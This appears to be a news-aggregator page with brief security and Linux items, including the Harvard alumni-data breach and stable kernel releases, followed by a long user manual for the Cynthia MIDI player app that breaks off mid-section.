The return of Shai Hulud comes at a time when GitHub
introduced additional security measures
to prevent supply-chain attacks on npm, following a series of high-impact attacks on the platform. However, the measures are being implemented gradually.
It's budget season! Over 300 CISOs and security leaders have shared how they're planning, spending, and prioritizing for the year ahead. This report compiles their insights, allowing readers to benchmark strategies, identify emerging trends, and compare their priorities as they head into 2026.
Learn how top leaders are turning investment into measurable impact.
Sorry Chi, Hello Julia?
hellgate
hellgatenyc.com
2025-11-24 14:14:59
And more stories to kick off your holiday week....
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.
Three stable kernel updates, two french hens, ...
Linux Weekly News
lwn.net
2025-11-24 14:11:01
Greg Kroah-Hartman has announced the release of the
6.17.9,
6.12.59, and
6.6.117 stable kernels. As usual, he advises
users of stable kernels to upgrade.
...
Greg Kroah-Hartman has announced the release of the
6.17.9
,
6.12.59
, and
6.6.117
stable kernels. As usual, he advises
users of stable kernels to upgrade.
Harvard University discloses data breach affecting alumni, donors
Bleeping Computer
www.bleepingcomputer.com
2025-11-24 14:06:36
Harvard University disclosed over the weekend that its Alumni Affairs and Development systems were compromised in a voice phishing attack, exposing the personal information of students, alumni, donors, staff, and faculty members. [...]...
Harvard University disclosed over the weekend that its Alumni Affairs and Development systems were compromised in a voice phishing attack, exposing the personal information of students, alumni, donors, staff, and faculty members.
The exposed data includes email addresses, telephone numbers, home and business addresses, event attendance records, donation details, and "biographical information pertaining to University fundraising and alumni engagement activities."
However, according to Klara Jelinkova, Harvard's Vice President and University Chief Information Officer, and Jim Husson, the university's Vice President for Alumni Affairs and Development, the compromised IT systems didn't contain Social Security numbers, passwords, payment card information, or financial info.
Harvard officials believe that the following groups and individuals had their data exposed in the data breach:
Alumni
Alumni spouses, partners, and widows/widowers of alumni
Donors to Harvard University
Parents of current and former students
Some current students
Some faculty and staff
The private Ivy League research university is working with law enforcement and third-party cybersecurity experts to investigate the incident, and it has sent data breach notifications on November 22nd to individuals whose information may have been accessed in the attack.
"On Tuesday, November 18, 2025, Harvard University discovered that information systems used by Alumni Affairs and Development were accessed by an unauthorized party as a result of a phone-based phishing attack,"
the letters warn
.
"The University acted immediately to remove the attacker's access to our systems and prevent further unauthorized access. We are writing to make you aware that information about you may have been accessed and so you can be alert for any unusual communications that purport to come from the University."
The university also urged potentially affected individuals to be suspicious of calls, text messages, or emails claiming to be from the university, particularly those requesting password resets or sensitive information (e.g., passwords, Social Security numbers, or bank information).
A Harvard spokesperson was not immediately available for comment when contacted by BleepingComputer earlier today.
In mid-October, Harvard University also told BleepingComputer that it
was investigating another data breach
after the Clop ransomware gang added it to its data-leak extortion site, claiming it had breached the school's systems using a zero-day vulnerability in Oracle's E-Business Suite servers.
Two other Ivy League schools,
Princeton University
and the
University of Pennsylvania
, disclosed data breaches earlier this month, both confirming that attackers gained access to donors' information.
As MCP (Model Context Protocol) becomes the standard for connecting LLMs to tools and data, security teams are moving fast to keep these new services safe.
This free cheat sheet outlines 7 best practices you can start using today.
Security updates for Monday
Linux Weekly News
lwn.net
2025-11-24 14:05:35
Security updates have been issued by Fedora (calibre, chromium, cri-o1.32, cri-o1.33, cri-o1.34, dotnet10.0, dovecot, gnutls, gopass, gopass-hibp, gopass-jsonapi, kubernetes1.31, kubernetes1.32, kubernetes1.33, kubernetes1.34, and linux-firmware), Mageia (ffmpeg, kernel, kmod-xtables-addons & km...
Reliably play midi music files from a
folder or ".m3u"
play list. Adjust playback speed, volume and output device on-the-fly during playback. A large playback progress bar makes jumping forward and backward in time a breeze with just a single click or tap. Supports ".mid", ".midi" and ".rmi" files in format 0 (single track) and format 1 (multi-track). Comes complete with 25 sample midis ready to play.
Cynthia playing through her sample midi music
Features
Dual play systems -
Play Folder and
Play List
Comes with 25 built-in sample midis on a virtual disk
Elapsed, Remaining and Total time readouts
Device Status, Device Count, Msgs/sec and Data Rate readouts
Native ".m3u" playlist support (copy, paste, open, save, build)
Drag and drop midi files to play/add to playlist
Play Modes: Once, Repeat One, Repeat All, All Once, Random
Standard Play Speed Range: 50% to 200% (0.5x to 2x)
Extended Play Speed Range: 10% to 1,000% (0.1x to 10x)
Intro Mode: Play first 2s, 5s, 10s or 30s of midi
Rewind/Fast Forward by: 1s, 2s, 5s, 10s or 30s
Play on Start option - playback commences on app start
Always on Midi option - maintain connection to midi device(s) for instant playback
Auto Fade In - eliminate loud or abrupt notes during rewind, fast forward or reposition operations
Playback Progress bar - click to reposition/jump backward or forward in time
Volume control with volume boost (up to 200%)
"
Mixer" link - display Windows "Volume Mixer" app
Play ".mid", ".midi" and ".rmi" midi files in 0 and 1 formats
Scrolling lyrics viewer
Detailed midi information panel
Tracks Panel: Realtime track data indicators, display flat or shaded, with mute all, unmute all, and mute individual track options
Channels Panel: Realtime channel output volume indicators with peak level hold and variable hold time, display flat or shaded, unmute all, mute all, and mute individual channel options
Mixer: Adjust individual channel volume levels from 0% to 200%
Option: Number channels 0-15 or 1-16
Notes Panel: 128 realtime note usage indicators with variable hold time, 8-12 notes per line, labels as letters or numbers, display flat or shaded, unmute all, mute all, and mute individual note options
Option: Number notes 0-127 or 1-128
Piano Panel: View realtime piano keystrokes on a 128, 88, 76, 61, 54, 49 or 37 key keyboard
Piano Keystroke Illumination: Off, Flat, Shade Up, Shade Down, Subtle, Subtle 2, Leading Edge, and Leading Edge 2
Piano: Mark middle C key, C + F keys, or all white keys
Volume Bars: Realtime average volume and bass volume levels (left and right vertical)
Transpose option: Shift all notes up/down music scale
Use an Xbox Controller to control Cynthia's main functions: Playback speed, volume, song position, display panels, song file navigation, jump to start of song, toggle fullscreen mode, etc
Large list capacity for handling thousands of midi files
Switch between up to 10 midi playback devices
Supports playback through a single midi device, or multiple simultaneous midi devices
Multi-Device Options (per midi device): Time Shift - adjust playback timing to compensate for midi device lag from -500 ms to +500 ms, Device Volume - adjust output volume from 0% to 200%, Output Channels - select which midi channels to play through the device
Automatic Midi Device(s) Resync - detects OS changes in midi device ordering/names and corrects in realtime
Custom built midi playback engine for high playback stability
Automatic compact mode for display on small/low resolution screens
Simple and easy to use
Options Window - Easily change app color, font, and settings
Portable
Smart Source Code (Borland Delphi 3 and Lazarus 2)
Realtime display panels Visual (Tracks, Channels, and Notes), Piano and Bars visible
Cynthia in her traditional view - Navigation, Information and Settings panels visible
Easily adjust channel volumes on-the-fly with the integrated mixer - hover over/tap the Channels panel to show/edit
Cynthia in the "Deep Orange 2" color scheme (Options > Color) and "Swell" animated background scheme (Options > Background), with Compact mode on (Options > Settings > Compact)
Running Cynthia for the first time
Several sample midis built-in. When starting Cynthia for the first time, these sample midis are listed in the "
Play Folder" panel, and playback is automatic.
At any point during playback, you may select another midi from the list. Playback seamlessly switches to the selected midi in question.
Cynthia supports realtime changes to settings during playback. This means you may adjust the Playback Mode, Playback Device, Volume and Speed without having to stop/restart playback.
⏶
Main toolbar links and their function
The main toolbar is located near the top of Cynthia's window. From left to right, it has the links of:
Nav - Toggle display of navigation panel
Play Folder - Show the "Play Folder" panel to play midis from a folder
Play List - Show the "Play List" panel to play midis from a playlist
Prev - Play previous midi file in list
Rewind - Shift playback position back several seconds
Stop - Stop playback
Play - Toggle playback: When playing (
flashing) playback stops/when stopped (
static) playback starts
Fast Forward - Shift playback position forward several seconds
Next - Play next midi file in list
Menu - Show menu
Mixer - Show the Windows Mixer app
Options - Show the Options window, to change Cynthia's appearance
Help - Show (from rightmost column) or hide built-in help
⏶
How to play a list of midis in a folder
From the main toolbar click "
Play Folder" link (top left) to display the "Play Folder" panel.
With
Play Folder, there is no need for a playlist or setup. Just navigate to the folder in question and instantly play the midis within.
Double click the "
Home" entry at top of list (scroll up if not visible). The list will refresh with the names of your hard drives, pen sticks and other local storage devices. Double click a drive, then the subsequent folder(s) to the one that you want to play.
The list will update. Double click a specific midi to begin playback, or, click the "
Play" link.
Toolbar Links
Refresh - Refresh the playback list
Fav - Show the "Favourites" window. Use this handy window to maintain a list of your favourite folders for quick access.
Back - Go to the previous folder in navigation history
Forward - Go to the next folder in navigation history
Tips
:
There is no need to stop playback before switching to another folder. Double click the new folder and wait several seconds for Cynthia to automatically recommence playback.
The current folder will be remembered when Cynthia is restarted.
⏶
How to use a playlist to play a selection of midis
The standard ".m3u" playlist format is supported. This is a plain text file that contains the length of the midi in seconds, a title, and the location of each midi.
Cynthia supports midi playback from local storage devices, such as hard disks, pen sticks etc. Internet urls are not supported.
If you already have a playlist in the m3u format saved on your disk, you can open it in Cynthia for playback. From the main toolbar click the "
Play List" link (top left) to show the Play List panel. An additional toolbar presents. Click the "
Open" link (if shown) or "
Edit >
Open". From the Open window, navigate to your playlist, select and click the "Open" button.
The contents of your playlist will load inside the
Play List panel. Click the "
Play" link to begin playback.
⏶
How to make a playlist
There are several ways a playlist can be constructed. The first method is the easiest. From your computer explorer ("File Explorer" in Windows and "Files" in Ubuntu) navigate to the folder of midis. Highlight one or more midis files inside the folder and drag the selection onto Cynthia and let go of the mouse button. The "
Play List" panel updates and displays the dropped midi files appended, to the list. Repeat this process for as many midi files as required.
At anytime you may save the playlist. From the Play List toolbar, click the "
Save As" link (if shown) or "
Edit >
Save As...". Type a name in the Save window and click the "Save" button to save the playlist.
It is worth noting that each time Cynthia saves your playlist to file, the midi files referenced inside it have their names adjusted automatically to work with the specific save location of the playlist.
Most midi filenames in a playlist are relative, as they do not have the full drive, folder and filename, but rather a partial folder structure and the midi's name. This is to permit the movement of the midis and the playlist from one location to another without the need for the playlist to be specifically rewritten.
If you are curious at what the playlist format looks like, click the "
Copy All" link (if shown) or "
Edit >
Copy All" to copy the entire playlist to Clipboard. Note Cynthia will use a full filename for each listed midi file, since the Clipboard cannot be referenced from a disk location. You may paste it into any text editor to view, modify, or rearrange the order of the midi files listed.
To paste an altered playlist back into Cynthia, click the "
Replace" link (if shown) or "
Edit >
Replace". The Play List panel will update.
Cynthia has support for extended playlists. Note! A large playlist of 100,000+ midi files will use about 102MB of RAM and require a second or two to apply midi filename adjustments.
Support for playlist filtering is provided. An example: You may instruct Cynthia to list only ".mid" files by deselecting ".midi" and ".rmi" options from the "File Types" option panel (right column). The playlist itself remains unchanged - how Cynthia uses it changes.
Toolbar Links
Edit - Show edit menu
New - Prompt to clear playlist
Open - Open a playlist from file
Save As - Save playlist to file
Cut - Cut selected playlist item to Clipboard
Copy - Copy selected playlist item to Clipboard
Copy All - Copy entire playlist to Clipboard
Paste - Add Clipboard playlist to end of current playlist
Replace - Replace current playlist with Clipboard playlist
Undo - Undo last change to playlist
Tips
:
The current playlist is remembered for next time Cynthia is started.
To show or hide the above toolbar links, tick or untick the "
Edit > Show Links on Toolbar" option. Unticking the option hides all links except "
Edit" and "
Paste".
⏶
Which playback method to use? Play Folder or Play List?
If you're a lover of simplicity itself, wishing only to play midi files directly from your hard drive folders as is, or, you're a playlist fan, rest assured, switching between these two very different playback systems, is as easy as a single click on either the "
Play Folder" or "
Play List" links.
Whilst the Play Folder method is limited to playing only the files contained in the currently selected folder, there is zero setup, no list to be built, and playback can start without hassle.
The Play List method on the other hand allows for a far more in depth custom playback experience. It supports the playback of midis across multiple disk drives, folders and in any assembled order.
Additionally, Cynthia's large capacity list can easily handle a very large playlist. For example a playlist of 10,000+ midis is just fine.
And switching between these two playback methods can be done during playback without issue.
Tip
:
The playback options File Types, Playback Mode, Playback Device, Speed and Volume are shared between both playback systems, and do not change or require adjustment after a switch.
⏶
Option: Playback Mode
Located bottom of left column.
Playback mode (bottom left) determines how Cynthia plays the list of midis in the
Play Folder or
Play List panel (left column).
Once
Play currently selected midi to the end, and stop playback.
Repeat One
Repeat the currently selected midi without stopping playback.
Repeat All
Play each midi in turn, working down the list (left column), then restart from the top. Playback initially starts at currently selected midi.
All Once
Each midi in the list is played working downward through the list. Playback stops at the end of the last midi.
Random
Continuously play a midi, selecting each new one randomly from the list.
⏶
Option: File Types
Located towards bottom of right column.
There are three midi file types supported: ".mid", ".midi" and ".rmi". The first two are identical file formats, only the file extension differs. The third format, ".rmi", is slightly different and contains additional multimedia information for Microsoft Windows.
By default all three file types are selected (lit black). In this state, all playable midi files are listed in the Play Folder and Play List panels.
To restrict the file types to be played back, click the file type to deselect it. The list of midis (left column) updates to reflect the change.
If all three options are deselected, Cynthia interprets this as if all three were selected.
⏶
Option: Playback Device
Located towards bottom of right column.
By default all midi playback is sent to the Windows Midi Mapper system - the default Windows midi note handler.
If you have more than one midi device installed on your computer, Cynthia can redirect the midi notes to that device instead.
Traditionally, a midi device had been considered to be hardware. But now, with the advent of powerful computer hardware, software can now act as virtual hardware, allowing for advanced features to be included on your computer without the need for hardware upgrades or physical adjustment.
A midi software driver can support a soundfont, which can greatly enhances the playback quality of a midi through it's support for large, high-quality, instrumental sound libraries.
To change the playback device, select a number in the playback device control (bottom right). Up to ten devices (1-10) is supported. "Map" is the Windows Midi Mapper. Selecting a dash will cause playback to stop producing audible sound (no device selected for sound output). In this case, the last usable (numbered) midi device will be automatically selected after a short time delay, recommencing audible playback without the need for user input.
Cynthia supports realtime device switching during playback. A small, momentary interruption to playback may occur during a device change. The name of the device in use by Cynthia is listed in the playback device control (bottom right), for example as "Playback Device: Midi Mapper". In later versions of Microsoft Windows the Midi Mapper was discontinued - in this case, Cynthia uses the first installed midi device.
It is worth noting that using another device may require a separate adjustment to that device's volume control, some devices do, and some do not. If it does have a volume control, it is more than likely to be accessible via Windows "Volume Mixer" application. Click the "
Mixer" link from the top toolbar to display the application and adjust the volume control of your device accordingly.
⏶
Option: Speed
Located towards bottom of right column.
By default, Cynthia plays back a midi at normal speed (100%). Drag the slider to the right to increase the playback speed up to a maximum speed of 1,000% or 10x normal speed.
To slow down playback speed, drag the slider to the left. A value less than 100% slows playback to less than normal speed. The slider can go as low as 10% or 1/10th normal playback speed.
Playback speed may be adjusted at any point during playback. All changes take place in realtime. An auto-fade in feature momentarily quietens playback to avoid any sudden or unexpected notes.
⏶
Option: Volume
Located at bottom of right column.
For maximum compatibility between different operating systems and device types (hardware and software) and their capabilities, Cynthia employs a multi-layer volume control system which adjusts both hardware and midi note volumes.
To adjust playback volume, position the slider to the right to increase the volume and to the left to decrease it.
An increase above 100% boosts the midi volume, making low-level, hard to hear midis, more discernable.
⏶
Option: Playback Progress
Adjust playback position with a single click or tap. Additionally, hovering a mouse cursor over the Playback Progress bar displays a vertical marker for the new playback time and position. Click to apply new position. The midi playback will shift to a new position and automatic fade in eases back playback volume to avoid sudden clicks, pops or abrupt notes.
Use keyboard arrow keys to progressively move forward or backward through the midi. A vertical marker will display.
Not currently playing? Click in the Playback Progress bar to commence playback at that position.
⏶
Lyrics
Synchronised lyric display is supported for midis with lyrics.
To enable lyrics, from the main toolbar click the "
Menu" link and tick "Show Lyrics".
When included within a midi, lyrics are displayed inside the Playback Progress bar (bottom of Cynthia) as "Playback Progress - Lyrics:" with several words or part words visible at any one time.
A midi without lyrics will display "Playback Progress".
If hyphenated lyrics are required in order to highlight the pauses between part-words, from main toolbar click the "
Menu" link and tick "Hyphenate Lyrics".
⏶
Always on Midi
Sometimes there can be a short, noticeable playback delay when commencing playback, initially. This delay is preparation time for Cynthia to ready playback.
There is no delay switching between midis during playback as Cynthia remains connected to the midi device. By default, after a short period of no playback (5 seconds or more), the midi device will switch to offline, and a short delay will occur when playback is next started.
To avoid this delay, the "Always on Midi" option may be used to keep a midi device online, even when Cynthia is not playing. From the main toolbar click the "
Menu" option and tick the "Always on Midi" option.
Tip
:
You can always tell if the midi device is online or not - from the "Midi Information" panel on the right. Look for the item called "Device" in the "Technical list". This will either be "Online" or "Offline".
⏶
What midi formats are supported?
Midis comes in various format types. The simplest is format 0, a single track format, that stores all it's tempo (speed), notes and commands on a single, mixed track.
A format 1 midi, on the other hand, uses a dedicated master track (first track) to store all of it's tempo (speed) commands for the entire midi. Notes and commands are stored separately on additional, multiple tracks.
Cynthia supports both format 0 and format 1 midis with file extension ".mid", ".midi" and ".rmi".
A third, format 2 midi exists. This format type is not supported by Cynthia. In addition, Cynthia does not support system exclusive messages. These messages will be ignored, and typically relate to manufacturer specific equipment.
⏶
Using an Xbox Controller to control Cynthia
Cynthia must be setup to use an Xbox Controller. From the top toolbar select "Menu > Xbox Controller" and select the "Active Only" or "Active and Inactive" option. Pair an Xbox Controller to your computer (if not already done). Cynthia automatically detects and uses active Xbox Controllers. More than one controller can be used at the same time.
1. Left joystick - left/right to adjust volume, push down to toggle between Play Folder and Play List modes
2. D-pad - left/right to switch midi playback device, up/down to switch between songs in navigation panel
3. View button - Go to beginning of song
4. Share button - Not used
5. Menu button - Toggle through playback modes: Once, Repeat One, Repeat All, All Once, and Random
6. Right joystick - left/right to change song playback position, push down to toggle full screen mode
7. Left bumper (top) - toggle display of navigation and piano panels
8. Right bumper (top) - toggle display of midi information and tracks, channels, and notes combination panels
9. Left trigger (bottom) - reduce playback speed
10. Right trigger (bottom) - increase playback speed
11. X button - reset playback speed to 100%
11. Y button - reset volume to 100%
11. B button - start/stop playback
11. A button - select folder in navigation panel (when in Play Folder mode)
⏶
Change the coloring of the app's GUI
From top toolbar click "
Options" or app menu "... > Options" (top right of window). An "Options" window will display. Select "
Color" tab to show list of color schemes.
The "Color Schemes" list is split into three sections:
1. Built-In color schemes - read only/use as is
2. Custom color schemes - user customisable and labelled Custom 1-10
3. Saved color schemes - user customisable and saved as file(s) on disk
There are 160+ built-in color schemes to choose from. Simply select a color scheme to apply in realtime. For instance, Aqua Marine. Watch as the app's GUI changes color instantly - no need for an additional load, apply, or set.
A Blaiz Enterprises' color scheme (*.bcs) at its core is a list of twenty colors, responsible for coloring most aspects of the app's GUI. Some specialised colors are derived automatically from these. Two colors for the frame, nine for important areas, Title colors, and nine more for common zones, Standard colors.
Each built-in color scheme has it's own unique set of colors. A custom color scheme allows for colors to be customised. To create a custom color scheme, scroll down the list to the section titled "Custom". He you'll find ten custom color scheme slots - each fully customisable in realtime without any need to be named, saved or applied. Tap or click on a slot to start - for example slot 1 - "Custom 1".
On the right a series of editable color palettes will appear. Click a palette to display the color dialog window. Adjust color as desired and click OK when done. Alternatively, click and drag your mouse cursor/fingertip from the color palette to acquire color from your computer screen in realtime. App GUI continuously updates to reflect changes in color. All changes are automatically saved.
⏶
Give your new color scheme a name
Want your shiny new color scheme to have its own name? Easy. From the color schemes list - click "Options > Color" to display dialog - scroll down to the "Custom" section, select your custom color scheme, and click "
Menu >
Save As...". Type a name and click the "Save" button. Your color scheme is saved to disk and listed under the "Saved" section of the color schemes list - next section down.
Any color scheme can be saved to disk, and then edited. For instance, you can select one of the built-in color schemes, such as Aqua Marine, and save it to disk, then customise as desired.
⏶
How to use your named color scheme
Click "Options > Color" to show the color schemes list. Scroll down to the last section named "Saved". This section presents a list of all your saved color schemes in one central location. Select a scheme to use.
⏶
Can I edit my saved color scheme without having to re-save it/load it etc?
Yes. Any saved color scheme can be customised without fuss. Click "Options > Color" and scroll down to the section named "Saved", click the color scheme you wish to edit, and adjust the color(s) as desired. All changes are saved automatically back to the file on disk, without any need to explicitly save.
⏶
What is a background scheme
A background scheme is a static or animated image tiled across the background layer of the app. The app's GUI components sit above this layer/merge into it, such as toolbars, tool images, buttons, text etc. There are 60 built-in background schemes, based on several images with different presets, like horizontal and vertical scroll speeds, fade in and out rates, and wobble levels. These functions allow for a static image to give movement to the app. While some background schemes are specially set for animation, others are not.
The background image can be rendered in full color, or shade-shifted toward greyscale, or shade-shifted toward the app's current highlight color. One slider, Colorise, controls this tri-function.
A background scheme supports a maximum image color depth of 32 bits in RGBA format - 8 bit red, green, blue, and alpha channels - for instance a transparent PNG image.
Note
:
An animated background scheme can operate at frame rates of up to 20 fps (frames per second), which means the entire GUI of the app is repainted in full, 20 times per second, like a video, and therefore can consume quite a bit of CPU power, especially at high resolutions. It is recommended a modern, powerful machine be used for high frame rates/resolutions in order to maintain smooth operation of the GUI.
Sliders and their meanings
:
Strength (0..255):
Determines how much of the background image is seen/made visible. A low value renders the background subtly beneath the GUI, whereas a high value, 100-255, renders it boldly. A value above 100 is disabled by default. To enable, click "Options > Settings" and deselect "Display > Safe Background". A value over 100 may overpower the GUI making it hard to navigate or operate. If this becomes the case, press the "F2" key, and then the Enter key to confirm restoration of the app's default settings.
Colorise (-100..100):
Set the color rendering method. A value of 100 renders the background image in full color, a value of 0 in greyscale, and a value of -100 in the app's current highlight color.
Speed (0..20):
Paint speed in frames per second. 0 is static - the background scheme only repaints when required. This is the least stressful option. A value of 1-20 sets a constant repaint cycle of 1-20 fps (frames per second).
Horizontal Scroll/Vertical Scroll (-100..100):
Moves background image left/up (minus value) or right/down (plus value) by X pixels. A value of zero turns movement off.
Horizontal Wobble/Vertical Wobble (0..300):
Applies a wobble factor to the above Horizontal Scroll/Vertical Scroll movement(s).
Fade In/Out (0..50):
Cycles through a high-to-low-to-high intensity flow, gradually fading the background image from view, then back again, in a continuous cycle. Use a low value for a slow cycle, and a high value for a fast cycle.
Fade Wobble (0..200):
Applies a wobble factor to the Fade In/Out flow cycle above.
⏶
Can I customise a background scheme/background image
Yes you can. There are 10 custom background scheme slots. Click "Options > Background" and scroll down to the section named "Custom". For instance, click on "Custom 1". A sub-toolbar will display in the right column at the top. From there, you can paste in an image from Clipboard - click "Paste", or open an image from file - click "File".
For best visual results, your image should be a similar size to the app's overall area, and be prepped for tiling work - that is, have it's right and bottom edges modified so that its colors/pixels seamlessly wrap back round to its opposing edge (right-to-left and top-to-bottom). You can use a tile creation app, or a good quality graphics app to accomplish this, or use our "Blend It" app to prep your image.
Without this, tiling the image may present abrupt edges of unwanted opposing lines of horizontal/vertical colors, and be visually jarring in nature.
Adjust the sliders as required to accomplish animation and visual effects. All changes to the image and sliders are saved in realtime.
⏶
How do I change the frame style, size and sparkle strength/effect?
The frame on our apps have a long history reaching back to the late 1990s, where they first adorned our FastCards and PowerCards (still/animated electronic musical greeting cards).
In the context of an app, they primarily serve as a large, easy-grip area for resizing the app's overall size, and a touch of decoration to boot.
A frame can be made wide or narrow as required. The modern app has a typical frame width of 7 px in a plain style, so as not to distract or occupy excessive screen real estate.
Furthermore, a frame may render with an optional, randomised sparkle effect, with a range of 0 (no sparkle) to 20 (heavy sparkle).
Click "Options > Frame" to edit the app's current frame settings. A list of 50 built-in frames is available to choose from, ranging from Antique to Traditional 5.
Toward the bottom of the window are two sliders to adjust the frame's Sparkle (strength) and Size (width in pixels). A frame can be sized from 0 px (no frame) up to a wide frame of 72 px. All changes update in realtime.
⏶
Automatic zoom and scaling of app text and images on high resolution displays
Click "Options > Font" to display zoom and font specific settings. By default, the app is set to automatic zoom, which means it will scale up its text and images if the monitor it's displayed on is above 2K in resolution.
Why scale text and images at all? What is special about 4K and 8K monitors? At first glance it may not be obvious the significant difference between standard 2K resolution, and the much higher 4K and 8K resolutions.
But high resolution monitors, such as 4K and 8K displays have far more pixels (colored dots) per inch on screen than previous generations of monitors, that is, the screen size may be the same but more dots are packed into the same area. Consequently, an app without scaling abilities may appear small or even blurred on these monitors. That's because as new monitors and TVs gain ever greater resolutions, statically sized apps shrink in size/fail to compensate. This is why a modern app must be able to scale up to match the appropriate resolution.
Here is a comparison of common display resolutions:
2K = 1920w x 1080h = 2,073,600 pixels
4K = 3840w x 2160h = 8,294,400 pixels
8K = 7680w x 4320h = 33,177,600 pixels
A 4K (ultra high definition) monitor uses four times (4x) more pixels than it's 2K (full high definition) counterpart. A statically built app without scaling would shrink to 50% of it's size, making it difficult to use. An operating system may attempt to counter this by scaling it up using pixel stretching - very much like zooming up a photo - unfortunately this tends to blur the appearance of the app.
The same app on an 8K monitor would suffer even greater shrinkage, rendering at only a quarter (25%) of it's original size, or scaling with significant blurring.
This app has a built-in zoom mode, which multiples the width and height of its text and images by a factor of 2, 3, or 4, dependant on the resolution of the display. This does away for the need of the operating system to stretch/scale its pixels.
On a 2K monitor there is no need to scale as this is the app's intended resolution. On a 4K monitor the app switches to a zoom factor of 200% (2x), upscaling text and images and the main window's dimension accordingly, and 400% (4x) on an 8K monitor. The end result is an app that appears appropriately sized over different monitor resolutions.
You can override this automatic zoom function, and set your own zoom value of: 100%, 200%, 300%, or 400%, if desired. An option that may be useful on a custom display resolution, and/or multiple monitor display environment.
Note
:
Setting the zoom value to 300% or above on a 2K monitor may render the app so large as to make it unusable. If this occurs, you can press the "F2" key at anytime to restore the app's default settings.
⏶
Change app text size
The text size (font size) can be set between 6 and 24. Click "Options > Font" and choose a size option. Any change updates the app text in realtime.
In some instances, the app may display slightly larger or smaller text in special areas, however this text is directly scaled from the size set.
By default the app uses a size of 10.
Note
:
Not all sizes are supported by all fonts. On Ubuntu for instance, a large font size for Arial can cause text to appear weird or slightly off. If this occurs, try reducing the font size a tad, or alternatively select another font (font name).
⏶
Change app font
A font determines what sort of characters appear on the screen, and in what style. Click "Options > Font" and choose a font name (font) from the list of options, from Arial to DejaVu Serif. Any change updates the app in realtime.
Older fonts like "System" were simple formats constructed from small images or bitmaps, one per character, and did not scale up very well, partly because to save on memory, not all character sizes were stored inside the font. Today, modern fonts use mathematical vectoring to draw shapes and lines etc to construct characters on the screen, though the infrastructure and overhead required for such fonts can be complex and heavy on a computer system. But because these fonts employ mathematics to draw their characters, they do scale up well.
Eleven common font name options are presented for best compatibility and visual appearance, taking into consideration operating systems as old as Window 95, through to modern-day Windows 11, and other systems such as Mac and Linux.
In general, you want a font that is widely supported and guaranteed to render well on most computers. Bearing that in mind, Arial, is a good choice, as it is widely supported by operating systems going as far back as Windows 95, if not further.
If a font name is selected but is not supported by the current computer, for example "DejaVu Sans" - not supported by Windows 95 - a close approximate/fallback font is used instead.
For a specific/custom font, click the "Custom" option once to switch it on, and click it again to display a Font dialog. Choose the font name from the list of fonts and click the "OK" button when done.
If the app becomes unreadable, or hard to read after choosing a new font name - it can happen with a bad font, a foreign language font, or a symbols only font like "Wingdings" - press the "F2" key to restore the app's default settings.
⏶
Change app font feathering/antialiasing
For maximum font compatibility, two completely separate methods have been employed to render text with antialiasing.
Click "Options > Font" for font settings.
1. The first method, Font Feathering, is a simple feather designed specifically to outline each text character in realtime. This has the effect of gently softening the often harsh outline of text characters on LCD screens, which by their nature do not blur neighbouring pixels, as the older CRT (Cathode Ray Tubes) did.
The feather is universally applied to both bitmap fonts (older image based fonts) and vectors fonts (newer mathematical fonts). In this way it allows for a quick and direct text feathering technique, that is easily adjusted to suit, without any need for any complicated or tricky multi-step setup configurations and/or processes.
As a bonus, it works on older operating systems - e.g. Windows 95 - which back in the day had no need/support for it, as LCD monitors were not widely used. It also works on fonts that don't have any embedded feather information, or for smaller font sizes that at times can abruptly discontinue feather support.
This method generates an even, edge-based blurring of the outermost pixels of the text characters. A high value - high or ultra - renders a strong/bold feather, and a low value reduces this to a more subtle display.
Any change updates in realtime.
On a high quality computer monitor were all pixels are transmitted and displayed without any color loss, a "Low" value is typically sufficient to render text gently on the screen. But TVs, which tend to heavily compress their video streams for speed loose some color information and therefore may require a higher setting of "Medium" or "High" for similar results.
2. The second method, Font Specific Antialiasing, relies on the font itself to provide all feather based information. This is usually an 8 bit greyscale range of 0-255. The downside is, if the font has no feather support, or the operating system is old, e.g. Windows 95, then no antialiasing will appear. This method can sometimes be hit and miss.
For instance, take the font Arial, it is universally supported, but surprisingly looses feather support at 12 pt or less, leaving only sharp text characters to be rendered on screen.
To adjust the antialiasing strength, select an option from "Dark" (strong) to "Light" (subtle).
By default, options 1 and 2 above are set to "Low/Dark", which provides the best fit for a wide variety of fonts and their behavior over a broad spectrum of old and new operating systems.
⏶
App startup style
The app can be set to start up in various ways: normally, minimised, maximised or in fullscreen mode. To adjust, click "Options > Settings" and set an option under "Start Style".
Normal:
Starts the app as a window, which is the default mode.
Minimised:
Starts the app hidden from view as a button on your taskbar.
Maximised:
Starts the app as a window, maximised to fill all the available work area on your desktop.
Fullscreen:
Starts the app in fullscreen mode, blocking out everything else on your desktop.
Note
:
If the app has the "Multi-Monitor" option selected (next section down named "Display"), then modes "Maximised" and "Fullscreen" will render the app over the combined screen real estate of all monitors.
⏶
Create a link to the app on your Start button and Desktop, and the Automatic Startup option
The app can create, maintain and remove links for you.
There are three link types supported:
1. Start button
2. Desktop
3. Automatic Startup
Click "Options > Settings" to adjust.
1. The first link type, Start button, creates and automatically maintains a link - also known as a shortcut - on your Start Menu called "Cynthia by BlaizEnterprises.com". As this link is created by and maintained by the app, you must unselect the option to remove the link from your Start Menu.
2. The Desktop link operates identically to the above, maintaining a link on your Desktop named "Cynthia by BlaizEnterprises.com". It also must be unselected to remove the link permanently from your Desktop.
Note
:
As long as either options 1 or 2 above is selected, then the corresponding links are maintained and automatically re-created if need be by the app, even if they're manually deleted from outside the app.
By default, neither option is selected. Optionally, you can create your own manual link/shortcut to the app using Windows with any name/label you wish.
3. The last option, Automatic Startup, creates a link to the app in the startup location of your computer, informing Windows to launch the app when your computer boots/starts up. Again, this link is automatically maintained, therefore unselect the option to remove it.
Note
:
If any of the links above are selected and you plan to remove/delete the app from your computer, it is highly recommended you first unselect all the options above (1-3), then remove/delete the app. Otherwise, Windows can get a little weird and put the links back in some cases without any interaction from the app itself, even if the app is no longer present. This behaviour was observed with earlier versions of Windows 10.
⏶
A few important app settings explained
The majority of the app's important system settings can be found in one location - click "Options > Settings".
An option is considered "on/enabled/selected" when lit, and "off/disabled/unselected" when unlit.
Round Corners:
Render all visual controls, windows, and dialogs with round (curved) corners.
Soft Close:
Automatically close an active dialog window when a click/tap strikes outside the window area - e.g. Save, Open, Font, Options dialogs. This can speed up typical workflows by skipping the need to specifically click the OK or Cancel buttons to close the dialog. For instance, click "Options" to display the options dialog, change a few settings and click/tap outside the window to close it and save changes. Also convenient to cancel a dialog displayed by mistake/change of mind, such as a Save dialog.
Safe Area:
